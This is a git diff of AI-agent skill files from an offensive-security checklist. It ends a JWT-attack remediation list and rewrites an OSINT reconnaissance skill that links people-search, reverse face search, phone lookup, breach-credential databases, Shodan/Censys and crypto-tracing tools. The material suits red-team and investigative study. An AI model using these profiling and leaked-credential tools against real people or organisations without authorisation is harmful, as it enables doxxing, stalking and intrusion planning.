+- c-jwt-cracker — high-speed HMAC brute force (C implementation)
+- Frida, objection, MobSF — mobile JWT extraction
-- Use short‑lived access tokens and rotate refresh tokens frequently.
-- Always validate `aud` (audience) and `iss` (issuer) claims.
-- Enforce a maximum token length and disable JWE compression unless strictly required.
-- Ensure the key material loaded for verification matches the `alg`; reject mismatches.
-- Reject tokens that include unknown `crit` header parameters.
-- Maintain a server‑side deny‑list keyed by `jti` for early revocation.
-- For DPoP (`typ:"dpop+jwt"`) tokens, verify the proof binds to the HTTP request and enforce one‑time use.
-- Validate JWKS over pinned TLS; disallow remote `jku`/`x5u` except for trusted domains; cache keys with short TTL and verify `kid` uniqueness.
-- Disable `none` and prevent algorithm downgrades; pin `alg` per client and per issuer.
-- Bind sessions to device when possible; rotate refresh tokens on every use and revoke the previous (refresh token rotation).
-- Prefer `SameSite=Lax/Strict` HttpOnly cookies for web to reduce token exfil; avoid localStorage for access tokens.
+## Remediation Recommendations
+- Use short-lived access tokens; rotate refresh tokens frequently
+- Always validate `aud` (audience) and `iss` (issuer) claims
+- Disable `none` algorithm; prevent algorithm downgrades; pin `alg` per client/issuer
+- Ensure key material loaded for verification matches `alg`; reject mismatches
+- Reject tokens with unknown `crit` header parameters
+- Validate JWKS over pinned TLS; disallow remote `jku`/`x5u` except trusted domains; short-TTL key caching with `kid` uniqueness
+- Enforce maximum token length; disable JWE compression unless required
+- Maintain server-side deny-list keyed by `jti` for early revocation
+- For DPoP tokens (`typ:"dpop+jwt"`): verify proof binds to HTTP request; enforce one-time nonce use
+- Bind sessions to device when possible; rotate refresh tokens on every use
+- Prefer `SameSite=Lax/Strict` HttpOnly cookies for web; avoid localStorage for access tokens
+
+## Alternatives & Modern Mitigations
+
+- **PASETO** — removes algorithm negotiation entirely; eliminates confusion attacks
+- **Macaroons** — bearer tokens with attenuable, caveat-based delegation
+- **DPoP and mTLS** — bind tokens to the client to prevent replay
diff --git a/Skills/offensive-osint/SKILL.md b/Skills/offensive-osint/SKILL.md
index 951b1c0..a81c115 100644
--- a/Skills/offensive-osint/SKILL.md
+++ b/Skills/offensive-osint/SKILL.md
@@ -1,482 +1,397 @@
-# SKILL: OSINT Tools
+---
+name: offensive-osint
+description: "Comprehensive OSINT methodology skill for offensive security, red team intelligence gathering, and bug bounty reconnaissance. Covers domain recon, email harvesting, social media profiling, GitHub/code leaks, Shodan/Censys enumeration, breach data lookup, employee profiling, infrastructure mapping, cryptocurrency tracing, geospatial intelligence, and AI-assisted analysis workflows. Use when performing reconnaissance against a target domain or organization, investigating a person or entity, tracing cryptocurrency flows, geolocating images or events, or building an attack-surface map."
+---
+
+# Offensive OSINT Methodology
-## Metadata
-- **Skill Name**: osint-checklist
-- **Folder**: offensive-osint
-- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/osint.md
+## Workflow
-## Description
-Practical OSINT checklist: domain recon, email harvesting, social media profiling, GitHub/code leaks, Shodan/Censys enumeration, breach data lookup, employee profiling, and infrastructure mapping. Use for bug bounty recon, red team intelligence gathering, or corporate OSINT.
+1. Define target scope (domain, org, person, crypto address, or geo subject)
+2. Select applicable categories below based on scope
+3. Work top-down within each category; pivot on discovered artifacts
+4. Archive every key artifact: URL + timestamp + screenshot (PNG) + hash (SHA-256)
+5. Log findings in JSONL with a `run_id` and tool versions for reproducibility
+6. Suggest next steps based on what each tool returns
-## Trigger Phrases
-Use this skill when the conversation involves any of:
-`OSINT, reconnaissance, domain recon, email harvesting, Shodan, Censys, GitHub recon, breach data, employee profiling, infrastructure mapping, corporate OSINT`
+---
-## Instructions for Claude
+## General OSINT
-When this skill is active:
-1. Load and apply the full methodology below as your operational checklist
-2. Follow steps in order unless the user specifies otherwise
-3. For each technique, consider applicability to the current target/context
-4. Track which checklist items have been completed
-5. Suggest next steps based on findings
+- [Bookmarks](https://tools.myosint.training/) — Comprehensive OSINT bookmarks
+- [OSINT Framework](https://osintframework.com/) — Tool/resource directory
+- [IntelTechniques Tools](https://inteltechniques.com/tools/) — Suite of investigative tools
+- [Bellingcat Toolkit](https://www.bellingcat.com/resources/2024/09/24/bellingcat-online-investigations-toolkit/) — Investigative journalism tools
+- [CyberSudo OSINT Toolkit](https://docs.google.com/spreadsheets/d/1EC0sKA_W9znzsxUt0wye9UYtyATXw5m8) — OSINT websites list
+- [Google Dorks](https://dorksearch.com/) — Efficient Google searching
+- [Distributed Denial of Secrets](https://ddosecrets.com/) — Leaked data
+- [Country-Specific Resources](https://digitaldigging.org/osint/) — Country-targeted OSINT
+
+### Search Engines
+
+| Tool | Notes |
+|------|-------|
+| [Carrot2](https://search.carrot2.org/#/search/web) | Clusters results by topic |
+| [etools](https://www.etools.ch/) | Metasearch engine |
+| [Kagi](https://kagi.com/) | Privacy-first, non-personalized results |
+| [Brave Search](https://search.brave.com/) | Independent index; Goggles for custom ranking |
+| [PDF Search](https://www.pdfsearch.io/) | Search PDF files and view table of contents |
+| [Google Fact Check Explorer](https://toolbox.google.com/factcheck/explorer) | Cross-site fact-check search |
---
-## Full Methodology
+## Username & Email Investigation
+
+| Tool | Purpose |
+|------|---------|
+| [Sherlock](https://github.com/sherlock-project/sherlock) | Username search across social networks |
+| [Maigret](https://github.com/soxoj/maigret) | Collect profiles by username from many sites |
+| [What's My Name](https://whatsmyname.app/) | Username search across platforms |
+| [Holehe](https://github.com/megadose/holehe) | Check if email is registered on platforms |
+| [Epieos](https://epieos.com/) | Email address pivots and metadata |
+| [OSINT Industries](https://osint.industries/) | Email/username/phone lookups |
+| [Hunter.io](https://hunter.io/) | Find email addresses for a domain |
+| [EmailRep](https://emailrep.io/) | Email reputation and associated data |
+| [Emailable](https://emailable.com/) | Verify email existence |
+| [Mugetsu](https://mugetsu.io/) | X/Twitter username history |
+| [RocketReach](https://rocketreach.co/) / [Apollo](https://www.apollo.io/) | Email enrichment and pattern guessing |
+| [PhoneInfoga](https://github.com/sundowndev/phoneinfoga) | Phone number intelligence framework |
+
+**Browser extensions:** [GetProspect](https://chromewebstore.google.com/detail/email-finder-getprospect/bhbcbkonalnjkflmdkdodieehnmmeknp), [SignalHire](https://chrome.google.com/webstore/detail/signalhire-find-email-or/aeidadjdhppdffggfgjpanbafaedankd)
-# OSINT Tools
+---
-- [Bookmarks](https://tools.myosint.training/): Comprehensive list of various OSINT bookmarks.
-- [OSINT Framework](https://osintframework.com/): A comprehensive collection of OSINT tools and resources.
+## People Search
-## General OSINT
+- [TruePeopleSearch](https://www.truepeoplesearch.com/) — Free U.S. people search
+- [WhitePages](https://www.whitepages.com/) — Contact information
+- [Spokeo](https://www.spokeo.com/) — People search engine
+- [Webmii](https://webmii.com/) — People search
+- [Pipl](https://pipl.com/) — Deep web people search (paid)
+- [Clearbit](https://clearbit.com/) — Company/individual data enrichment
+- [FaceCheck](https://facecheck.id/) / [FaceSeek](https://faceseek.online/) — Reverse face search
+
+---
-- [IntelTechniques Tools](https://inteltechniques.com/tools/): A suite of OSINT tools for various investigative needs.
-- [Online Investigation Toolkit](https://www.bellingcat.com/resources/2024/09/24/bellingcat-online-investigations-toolkit/): A curated list of tools used by investigative journalists
-- [CyberSudo OSINT Toolkit](https://docs.google.com/spreadsheets/d/1EC0sKA_W9znzsxUt0wye9UYtyATXw5m8): List of OSINT Websites
-- [GeoGuesser Top Tips](https://somerandomstuff1.wordpress.com/2019/02/08/geoguessr-the-top-tips-tricks-and-techniques/): Top Tips and Tricks for Geolocation
-- [Google Dorks](https://dorksearch.com/): Helps you search google more efficiently
-- [Country Specific Resources](https://digitaldigging.org/osint/): To help you specifically look for things a certain country
-- [Distributed Denial of Secrets](https://ddosecrets.com/): Leaked Data
+## Phone Number OSINT
-### Search Engines
+- [TrueCaller](https://www.truecaller.com/) — Caller ID and spam blocking
+- [ThatsThem](https://thatsthem.com/) — Reverse phone search
+- [Infobel](https://infobel.com/) — Phone search outside USA
+- [FreeCarrierLookup](https://freecarrierlookup.com/) — Carrier/type lookup (US)
+- [NumlookupAPI](https://numlookupapi.com/) [Freemium] — Programmatic carrier/line-type checks
+- [CallerIDTest](https://calleridtest.com/) — Phone search
+- [Advanced Background Checks](https://www.advancedbackgroundchecks.com/) — All people linked to a number
+
+---
+
+## Social Media
+
+| Platform | Tool |
+|----------|------|
+| Instagram | [Picuki](https://www.picuki.com/) — view profiles without account |
+| X/Twitter | [snscrape](https://github.com/snscrape/snscrape) — preferred CLI scraper; use Twint only as fallback |
+| Facebook | [Graph Search](https://inteltechniques.com/tools/Facebook.html), [sowsearch.info](https://sowsearch.info/), [lookup-id.com](https://lookup-id.com/), [whopostedwhat.com](https://whopostedwhat.com/) |
+| Facebook (research) | [Meta Content Library](https://transparency.meta.com/researcher) — CrowdTangle successor (researcher-gated) |
+| YouTube/Twitch | [Social Blade](https://socialblade.com/) — analytics |
+| TikTok | [Tokboard](https://tokboard.com/) — trend and profile analytics |
+| Reddit | [Reveddit](https://www.reveddit.com/) — removed content; [RedTrack.social](https://redtrack.social/) — user history |
+| Bluesky | [Firesky](https://firesky.tv/) — real-time firehose; [SkyView](https://bsky.jazco.dev/) — follower graphs |
+| Mastodon | [FediSearch](https://fedisearch.skorpil.cz/) — cross-instance search; [Fedifinder](https://fedifinder.glitch.me/) — find Twitter users on Mastodon |
+| Faces | [Search4Faces](https://search4faces.com/) |
+
+---
+
+## Public Records & Company Information
+
+- [OpenCorporates](https://opencorporates.com/) — World's largest open company database
+- [SEC EDGAR](https://www.sec.gov/edgar.shtml) — U.S. company filings
+- [OpenOwnership Register](https://register.openownership.org/) — Beneficial ownership datasets
+- [MuckRock](https://www.muckrock.com/) — FOIA repository and request tracking
+- [EU Tenders (TED)](https://ted.europa.eu/) — EU procurement notices
+- [World Bank Projects](https://projects.worldbank.org/) — Project and procurement records
+
+### RU/CN Registries
+
+**Russia:** [Rusprofile](https://www.rusprofile.ru/), [Kontur.Focus](https://focus.kontur.ru/) (freemium), [zakupki.gov.ru](https://zakupki.gov.ru/) (procurement), EGRUL/EGRIP (official, captcha-gated)
-- [Carrot2](https://search.carrot2.org/#/search/web): organizes your search results into topics
-- [etools](https://www.etools.ch/): metasearch engine
-- [PDF Search](https://www.pdfsearch.io/): searching for PDF files and viewing their table of content
-- [Kagi Search](https://kagi.com/): privacy-first search with Lenses and non-personalized results
-- [Brave Search](https://search.brave.com/): independent index; Goggles for custom ranking
-- [Google Fact Check Explorer](https://toolbox.google.com/factcheck/explorer): cross-site fact-check search
-
-### Username and Email Investigation
-
-- [What's My Name](https://whatsmyname.app/): Search for usernames across multiple platforms.
-- [Maigret](https://github.com/soxoj/maigret): Collect profiles from various sites by username.
-- [NameCheckup](https://namecheckup.com/): Find Available Username
-- [Holehe](https://github.com/megadose/holehe): Check if an email is registered on online platforms.
-- [EmailRep](https://emailrep.io/): Check email reputation and associated data.
-- [Namechk](https://namechk.com/): Check username availability across multiple platforms.
-- [Hunter.io](https://hunter.io/): Find email addresses associated with a domain.
-- [Sherlock](https://github.com/sherlock-project/sherlock): Find usernames across social networks.
-- [PhoneInfoga](https://github.com/sundowndev/phoneinfoga): Information gathering framework for phone numbers
-- [ContactOut](https://contactout.com/): Discover Email Addresses
-- [Emailable](https://emailable.com/): Verify if Email exists
-- [GetProspect Extension](https://chromewebstore.google.com/detail/email-finder-getprospect/bhbcbkonalnjkflmdkdodieehnmmeknp?hl=en)
-- [SignalHire Extension](https://chrome.google.com/webstore/detail/signalhire-find-email-or/aeidadjdhppdffggfgjpanbafaedankd)
-- [OSINT Industries](https://osint.industries/): Email/username/phone lookups
-- [Mugetsu](https://mugetsu.io/): X/Twitter username history & meme coin lookups
-- [Epieos](https://epieos.com/): Email address pivots and metadata (when available)
-- [RocketReach](https://rocketreach.co/) / [Apollo](https://www.apollo.io/) / [Dropcontact](https://www.dropcontact.com/) : Enrichment and email pattern guessing
-
-### People Search
-
-- [WhitePages](https://www.whitepages.com/): Find people and contact information
-- [TruePeopleSearch](https://www.truepeoplesearch.com/): Free people search in the U.S.
-- [Pipl](https://pipl.com/): Deep web people search (Note: primarily a paid service).
-- [Spokeo](https://www.spokeo.com/): People search engine.
-- [Webmii](https://webmii.com/): People search engine
-- [Clearbit](https://clearbit.com/): Data enrichment for companies and individuals.
-- [FaceCheck](https://facecheck.id/): Find people by their picture
-- [FaceSeek](https://faceseek.online/): another reverse search for faces
-
-### Social Media
-
-- [Search4Faces](https://search4faces.com/): search for a face in social media.
-- [Picuki](https://www.picuki.com/): View Instagram profiles and posts without an account.
-- [snscrape](https://github.com/snscrape/snscrape): Actively‑maintained CLI scraper for X/Twitter, Reddit, Telegram, and more. Prefer this over Twint.
-- Twint (unstable; breaks when APIs change) — use only if `snscrape` cannot cover a need.
-- [Social Blade](https://socialblade.com/): Analytics for YouTube, Twitch, Instagram, and more.
-- [Facebook Graph Search](https://inteltechniques.com/tools/Facebook.html): Advanced Facebook search techniques.
-- [Facebook Friends](https://sowsearch.info/): graph search alternative
-- [Facebook ID Lookup](https://lookup-id.com/): to find ID of a user on Facebook
-- [Facebook Search](https://whopostedwhat.com/): searching for posts
-- [Meta Content Library](https://transparency.meta.com/researcher): Researcher‑gated content search (CrowdTangle successor)
-- [Tokboard](https://tokboard.com/): TikTok trend and profile analytics (APIs change frequently)
-- [Reveddit](https://www.reveddit.com/): View removed Reddit content for context
-- [RedTrack.social](https://redtrack.social/): Reddit user analysis and post history tracking
-- **Threads by Instagram**: Use Instagram OSINT tools; Threads shares Instagram account infrastructure
-- **Bluesky/AT Protocol**:
- - [Firesky](https://firesky.tv/): Real-time firehose monitoring for keywords/hashtags
- - [SkyView](https://bsky.jazco.dev/): Follower graphs and network analysis
- - [Bluesky Directory](https://blueskydirectory.com/): User directory and starter pack discovery
-- **Mastodon/Fediverse**:
- - [FediSearch](https://fedisearch.skorpil.cz/): Cross-instance post search
- - [Fediverse Observer](https://fediverse.observer/): Instance enumeration and stats
- - [Fediverse.party](https://fediverse.party/): Platform directory and network map
- - [Fedifinder](https://fedifinder.glitch.me/): Find Twitter/X users on Mastodon
-
-### Phone Number
-
-- [TrueCaller](https://www.truecaller.com/): Caller ID and Spam Blocking App
-- [CallerIDTest](https://calleridtest.com/): Phone Search
-- [Infobel](https://infobel.com/): Phone search outside of USA
-- [ThatsThem](https://thatsthem.com/): Reverse phone search
-- [Advanced Background Checks](https://www.advancedbackgroundchecks.com/): shows all people that used the phone number
-- [FreeCarrierLookup](https://freecarrierlookup.com/): Carrier/type lookup for US numbers
-- [NumlookupAPI](https://numlookupapi.com/) [Freemium]: Programmatic carrier/line-type checks
-
-### Public Records and Company Information
-
-- [OpenCorporates](https://opencorporates.com/) : World's largest open database of companies.
-- [SEC EDGAR](https://www.sec.gov/edgar.shtml): U.S. Securities and Exchange Commission's database for company filings.
-- [OpenOwnership Register](https://register.openownership.org/): Beneficial ownership datasets
-- [EU Tenders (TED)](https://ted.europa.eu/): EU public procurement notices
-- [World Bank Projects & Operations](https://projects.worldbank.org/): Project and procurement records
-- [IFC Disclosure](https://disclosures.ifc.org/): Project disclosures and documents
-- [MuckRock](https://www.muckrock.com/): FOIA repository and request tracking
-
-### Leaks
-
-- [Have i been pwned](https://haveibeenpwned.com/)
-- [PwdQuery](https://pwdquery.xyz/)
-- [LeakCheck](https://leakcheck.io/)
+**China:** [GSXT](https://www.gsxt.gov.cn/) (National Enterprise Credit), [Qichacha](https://www.qcc.com/)/[Tianyancha](https://www.tianyancha.com/) (freemium), [MIIT ICP/Beian](https://beian.miit.gov.cn/) (ICP filings)
+
+### Sanctions & Compliance
+
+- [OFAC SDN List](https://sanctionssearch.ofac.treas.gov/)
+- [EU Sanctions Map](https://www.sanctionsmap.eu/)
+- [OpenSanctions](https://www.opensanctions.org/) — Aggregated persons/entities datasets
+- [OCCRP Aleph](https://aleph.occrp.org/) — Investigative documents, leaks, company records
+
+---
+
+## Breach & Leak Data
+
+- [Have I Been Pwned](https://haveibeenpwned.com/) — Breach lookup; Pwned Passwords API (k-anonymity)
+- [Dehashed](https://dehashed.com/) — Credential search
+- [IntelX](https://intelx.io/) — Data intelligence
+- [LeakCheck](https://leakcheck.io/) — Breach lookups
+- [Snusbase](https://snusbase.com/) — Database breach lookups
+- [BreachDirectory](https://breachdirectory.org/) — Recent breach credentials
- [Scattered Secrets](https://scatteredsecrets.com/)
-- [Dehashed](https://dehashed.com/)
-- [IntelX](https://intelx.io/)
+- [Cavalier (Hudson Rock)](https://cavalier.hudsonrock.com/) — Infostealer lookups
- [Phonebook](https://phonebook.cz/)
-- [LeakPeek](https://leakpeek.com/): Database breach lookups
-- [Snusbase](https://snusbase.com/): Database breach lookups
-- [BreachDirectory](https://breachdirectory.org/): Search credentials exposed in recent breaches
-- [Snusmap](https://snusmap.com/): Visual browser for leaked‑data collections
-- [Cavalier (Hudson Rock)](https://cavalier.hudsonrock.com/): Infostealer lookups
-- [Pwned Passwords API](https://haveibeenpwned.com/): K‑anonymity password checks without revealing the full hash
+- [LeakPeek](https://leakpeek.com/)
+
+---
+
+## Infrastructure & Attack-Surface OSINT
+
+- [Shodan](https://www.shodan.io/) — Internet-connected device/service search
+- [Censys](https://search.censys.io/) — Host and certificate enumeration
+- [GreyNoise](https://viz.greynoise.io/) — Distinguish background noise from targeted scans
+- [SecurityTrails](https://securitytrails.com/) — Passive DNS and asset discovery
+- [SpiderFoot](https://www.spiderfoot.net/) — Automated recon and correlation
+- [theHarvester](https://github.com/laramies/theHarvester) — Subdomain, email, metadata harvesting
+- [Recon-ng](https://github.com/lanmaster53/recon-ng) — Web recon framework
+- [Amass](https://github.com/owasp-amass/amass) / [Subfinder](https://github.com/projectdiscovery/subfinder) — Passive subdomain discovery
+- [BuiltWith](https://builtwith.com/) — Tech stack enumeration
+- [Netlas](https://netlas.io/) — Large-scale HTTP/DNS/certificate pivots
+- [BinaryEdge](https://www.binaryedge.io/) / [FOFA](https://fofa.so/) / [ZoomEye](https://www.zoomeye.org/) — Infra pivots complementing Shodan/Censys
+- [RiskIQ PassiveTotal](https://community.riskiq.com/) — Passive DNS/cert/host pivots
+- [Spur](https://spur.us/) — IP lookups and tracking
+- [Robtex](https://www.robtex.com/) — Passive DNS and infrastructure pivots
+
+### ASN/BGP & Internet Measurement
+
+- [Hurricane Electric BGP Toolkit](https://bgp.he.net/) — ASN, prefix, peers, IRR data
+- [RIPEstat](https://stat.ripe.net/) — IP/ASN history, routing, geolocation, abuse contacts
+- [BGPView](https://bgpview.io/) — ASN and prefix explorer
+- [bgp.tools](https://bgp.tools/) — Clean ASN/IX views, routing details
+- [PeeringDB](https://www.peeringdb.com/) — Facility and peering info
+
+### Certificates & CT Monitoring
+
+- [crt.sh](https://crt.sh/) — Search Certificate Transparency logs
+- [Censys Certificates](https://search.censys.io/certificates) — CT and x509 attribute pivots
+- [CertStream](https://certstream.calidog.io/) — Real-time CT feed via WebSocket
+- [Rapid7 Open Data](https://opendata.rapid7.com/) — Sonar DNS/HTTP/SSL datasets
+- [Cert Spotter](https://sslmate.com/certspotter) [Freemium] — CT monitoring and alerts
+- Favicon hash (mmh3): cluster infrastructure; pair with Shodan/Censys favicon search
+
+---
+
+## Threat Intel & IOCs
+
+- Vendor/CERT advisories: CISA/NSA/CSA joint advisories, CERT-EU, NCSC-UK, JPCERT/CC, CERT-UA
+- [MISP Project](https://www.misp-project.org/) and public MISP feeds
+- [OpenCTI](https://www.opencti.io/) — CTI knowledge graph
+- [Malpedia](https://malpedia.caad.fkie.fraunhofer.de/) — Malware families, YARA, references
+- [ThreatFox](https://threatfox.abuse.ch/) / [URLHaus](https://urlhaus.abuse.ch/) / [SSLBL](https://sslbl.abuse.ch/)
+- [MalwareBazaar](https://bazaar.abuse.ch/) — Hash-based sample sharing
+- [PhishTank](https://www.phishtank.com/) / [OpenPhish](https://openphish.com/)
+
+### Malware Analysis & Sandboxes
+
+- Static analysis: [pefile](https://github.com/erocarrera/pefile), [FLOSS](https://github.com/mandiant/flare-floss), [capa](https://github.com/mandiant/capa)
+- Similarity: SSDEEP, TLSH
+- Sandboxes: [ANY.RUN](https://any.run/), [Hybrid Analysis](https://www.hybrid-analysis.com/), [CAPE](https://capesandbox.com/), [Tria.ge](https://tria.ge/)
+- Intelligence: [Intezer](https://analyze.intezer.com/) (code reuse), [VirusTotal](https://www.virustotal.com/) (**caution**: uploads become public)
+- TLS fingerprints: [JA3](https://github.com/salesforce/ja3), [JA4](https://github.com/FingerprinTLS/ja4)
+
+---
## Cryptocurrency OSINT
-### Blockchain Analysis
-
-- [Blockchain.com Explorer](https://www.blockchain.com/explorer): Bitcoin and crypto search engine
-- [Etherscan](https://etherscan.io/): Ethereum blockchain explorer
-- [BSCScan](https://bscscan.com/): BNB Smart Chain explorer
-- [PolygonScan](https://polygonscan.com/): Polygon PoS blockchain explorer
-- [OKLink](https://www.oklink.com/) [Freemium]: Multichain explorer and analytics
-- [Cielo](https://cielo.io/): Multi-chain wallet tracking (EVM, Bitcoin, Solana, Tron, etc)
-- [Blockchair](https://blockchair.com/): Bitcoin block explorer
-- [Solscan](https://solscan.io/): Solana blockchain explorer
-- [Dune](https://dune.com/): Analytics platform to query blockchain data
-- [MetaSuites](https://metasuites.io/): Chrome extension for additional data on block explorers
-- [Impersonator](https://impersonator.xyz/): Chrome extension to spoof login to dApps
-
-#### Layer 2 / Rollup Explorers
-
-- [zkSync Era Explorer](https://explorer.zksync.io/): zkSync Era (zkEVM) block explorer
-- [Polygon zkEVM Explorer](https://zkevm.polygonscan.com/): Polygon zkEVM rollup
-- [Arbiscan](https://arbiscan.io/): Arbitrum One and Nova explorers
-- [Optimistic Etherscan](https://optimistic.etherscan.io/): Optimism mainnet explorer
-- [BaseScan](https://basescan.org/): Base (Coinbase L2) explorer
-- [Voyager](https://voyager.online/) / [StarkScan](https://starkscan.co/): StarkNet block explorers
-- [Scroll Explorer](https://scrollscan.com/): Scroll zkEVM explorer
-- [Blast Explorer](https://blastscan.io/): Blast L2 explorer
-- [L2Beat](https://l2beat.com/): Risk analysis, TVL, and technology comparison for all L2s
-- [Growthepie](https://www.growthepie.xyz/): L2 metrics and analytics aggregator
-
-### Wallet Investigation
-
-- [BitcoinAbuse](https://www.bitcoinabuse.com/): Track bitcoin addresses used for scams
-- [Wallet Explorer](https://www.walletexplorer.com/): Bitcoin wallet transaction clustering
-- [Chainalysis](https://www.chainalysis.com/): Professional blockchain analysis platform
-- [Crystal Blockchain](https://crystalblockchain.com/): Blockchain analytics and monitoring
-
-### Transaction Tracking
-
-- [Whale Alert](https://whale-alert.io/): Track large crypto transactions
-- [BitQuery](https://bitquery.io/): Blockchain data analysis and APIs
-- [GraphSense](https://graphsense.info/): Cryptocurrency analytics platform
-- [CipherTrace](https://ciphertrace.com/): Cryptocurrency intelligence
-- [TRM](https://www.trmlabs.com/): Create graphs for addresses/transactions
-- [Arkham](https://www.arkhamintelligence.com/): Multichain block explorer, entity labels, graphs, alerts
-- [MetaSleuth](https://metasleuth.io/): Similar to TRM but intended for retail users
-- [CryptoTaxCalculator](https://cryptotaxcalculator.io/): Track PNL for an address
-- [Breadcrumbs](https://www.breadcrumbs.app/) [Freemium]: Visual graphing and labeling for crypto flows
-- [Bubblemaps](https://bubblemaps.io/): Holder concentration visualization; identify whale clusters
-- [Token Sniffer](https://tokensniffer.com/): Honeypot and scam token detection
-- [Dextools](https://www.dextools.io/): DEX trading analysis and charts
-- [Nansen](https://www.nansen.ai/): On-chain analytics with Smart Money labels (paid; expensive)
+### Blockchain Explorers
-### Bridge Monitoring
+| Chain | Explorer |
+|-------|---------|
+| Bitcoin | [Blockchain.com](https://www.blockchain.com/explorer), [Blockchair](https://blockchair.com/) |
+| Ethereum | [Etherscan](https://etherscan.io/) |
+| BNB Chain | [BSCScan](https://bscscan.com/) |
+| Polygon PoS | [PolygonScan](https://polygonscan.com/) |
+| Solana | [Solscan](https://solscan.io/) |
+| Multi-chain | [OKLink](https://www.oklink.com/) [Freemium], [Cielo](https://cielo.io/) |
+
+**L2 Explorers:** [Arbiscan](https://arbiscan.io/), [Optimistic Etherscan](https://optimistic.etherscan.io/), [BaseScan](https://basescan.org/), [zkSync Era](https://explorer.zksync.io/), [L2Beat](https://l2beat.com/) (risk/TVL comparison)
+
+### Transaction Tracking & Analytics
+
+- [Arkham](https://www.arkhamintelligence.com/) — Multichain explorer, entity labels, graphs, alerts
+- [TRM](https://www.trmlabs.com/) — Address/transaction graphs
+- [MetaSleuth](https://metasleuth.io/) — Visual crypto flow analysis
+- [Breadcrumbs](https://www.breadcrumbs.app/) [Freemium] — Visual graphing and labeling
+- [Bubblemaps](https://bubblemaps.io/) — Holder concentration visualization
+- [Whale Alert](https://whale-alert.io/) — Large transaction monitoring
+- [Chainalysis](https://www.chainalysis.com/) / [Crystal Blockchain](https://crystalblockchain.com/) — Professional analytics
+- [GraphSense](https://graphsense.info/) — Cryptocurrency analytics platform
+- [Nansen](https://www.nansen.ai/) — Smart Money labels (paid)
+- [Dune](https://dune.com/) — Custom blockchain data queries
+- [Token Sniffer](https://tokensniffer.com/) — Honeypot and scam token detection
-- [Range](https://range.org/): CCTP bridge explorer
-- [Pulsy](https://pulsy.io/): Bridge explorer aggregator
-- [Socketscan](https://socketscan.io/): EVM bridge explorer
-- [L2Beat Bridges](https://l2beat.com/bridges) [Free]: Risk analysis for bridges and tokens
+### NFT & Exchange Intelligence
-### NFT Analysis
+- [OpenSea](https://opensea.io/) / [NFTScan](https://www.nftscan.com/) — NFT marketplace/explorer
+- [DappRadar](https://dappradar.com/) — NFT sales and marketplace activity
+- [CoinGecko](https://www.coingecko.com/) / [CoinMarketCap](https://coinmarketcap.com/) — Market data
+- [Glassnode](https://glassnode.com/) — On-chain market intelligence
-- [OpenSea](https://opensea.io/): NFT marketplace explorer
-- [NFTScan](https://www.nftscan.com/): Multi-chain NFT explorer
-- [Nansen](https://www.nansen.ai/): NFT analytics platform
-- [DappRadar](https://dappradar.com/): Track NFT sales and marketplace activity
-- [Reservoir](https://reservoir.tools/) [Freemium]: Unified NFT metadata and market data API
-- [Alchemy NFT API](https://www.alchemy.com/nft-api) [Freemium]: NFT metadata and ownership APIs
+### Bridge Monitoring
-### Exchange Intelligence
+- [Socketscan](https://socketscan.io/) — EVM bridge explorer
+- [L2Beat Bridges](https://l2beat.com/bridges) — Bridge risk analysis
+- [Pulsy](https://pulsy.io/) — Bridge explorer aggregator
-- [CoinGecko](https://www.coingecko.com/): Cryptocurrency market data
-- [CoinMarketCap](https://coinmarketcap.com/): Price tracking and market analysis
-- [Binance Intelligence](https://www.binance.com/en/feed): Exchange activity monitoring
-- [Glassnode](https://glassnode.com/): On-chain market intelligence
+---
## Media Intelligence
-### Image Analysis
+### Reverse Image & Facial Search
-- [Google reverse image search](https://images.google.com/): reverse image search engine.
-- [TinEye](https://tineye.com/): reverse image search.
-- [Yandex images](https://yandex.com/images/): effective for Russian and eastern European content.
-- [PimEyes](https://pimeyes.com/en): change a picture and then search
-- [Forensically](https://29a.ch/photo-forensics/): ToolSet for digital image forensics.
-- [Getty](https://www.gettyimages.com/)
-- [Shutterstock](https://www.shutterstock.com/)
-- [Alamy](https://www.alamy.com/)
+- [Google Images](https://images.google.com/) — General reverse image search
+- [TinEye](https://tineye.com/) — Reverse image search
+- [Yandex Images](https://yandex.com/images/) — Effective for Russian/Eastern European content
+- [PimEyes](https://pimeyes.com/en) — Face-based image search
+- [FaceCheck](https://facecheck.id/) — Find people by photo
-### Browser Extensions
+### Image Forensics
-- [Fake News Debunker by InVID & WeVerify](https://chrome.google.com/webstore/detail/fake-news-debunker-by-inv/mhccpoafgdgbhnjfhkcmgknndkeenfhe): Verifies images and videos.
-- [RevEye Reverse Image Search](https://chrome.google.com/webstore/detail/reveye-reverse-image-sear/kejaocbebojdmebagkjghljkeefgimdj): Reverse image search extension.
-- [EXIF Viewer Pro](https://chrome.google.com/webstore/detail/exif-viewer-pro/mmbhfeiddhndihdjeganjggkmjapkffm): View EXIF data in-browser.
-- [Wayback Machine Extension](https://chrome.google.com/webstore/detail/wayback-machine/fpnmgdkabkmnadcjpehmlllkndpkmiak): Quick access to archived web pages.
-- [Search by Image](https://chromewebstore.google.com/detail/search-by-image/cnojnbdhbhnkbcieeekonklommdnndci?hl=en): reverse image search tool, with support for various search engines
+- [Forensically](https://29a.ch/photo-forensics/) — Digital image forensics toolkit
+- [ExifTool](https://exiftool.org/) — Read/write/edit metadata
+- [Jimpl](https://jimpl.com/) — Online EXIF viewer
+- [Jeffrey's EXIF viewer](http://exif.regex.info/exif.cgi) — Online metadata viewer
+- [FOCA](https://www.elevenpaths.com/labstools/foca) — Metadata in documents
+- [Metagoofil](https://www.edge-security.com/metagoofil.php) — Extract metadata from public documents
+- [C2PA Verify](https://verify.contentauthenticity.org/) — Verify content credentials and AI provenance
### Video Analysis
-- [YouTube Data Viewer](https://citizenevidence.amnestyusa.org/): Extract metadata from YouTube videos.
-- [InVID & WeVerify Video Verification Tool](https://www.invid-project.eu/tools-and-services/invid-verification-plugin/): Browser extension for video verification.
-- [Frame-by-Frame Video Player](https://sourceforge.net/projects/framebyframevideo/): Analyze videos frame by frame.
-- [YouTube Geo Tag](https://mattw.io/youtube-geofind/location): Find location of a video via geo tags
-- Snap Map (public stories) for area/event context
-
-### Metadata Extraction
-
-- [Jimpl](https://jimpl.com/)
-- [ExifTool](https://exiftool.org/): Read, write, and edit metadata.
-- [Jeffrey's image metadata viewer](http://exif.regex.info/exif.cgi): online image metadata viewer.
-- [MediaInfo](https://mediaarea.net/en/MediaInfo): Technical and tag information about video or audio files.
-- [FOCA](https://www.elevenpaths.com/labstools/foca): Analyze metadata and hidden information in documents.
-- [Metagoofil](https://www.edge-security.com/metagoofil.php): Extract metadata from public documents.
-
-## GeoSpatial Intelligence
-
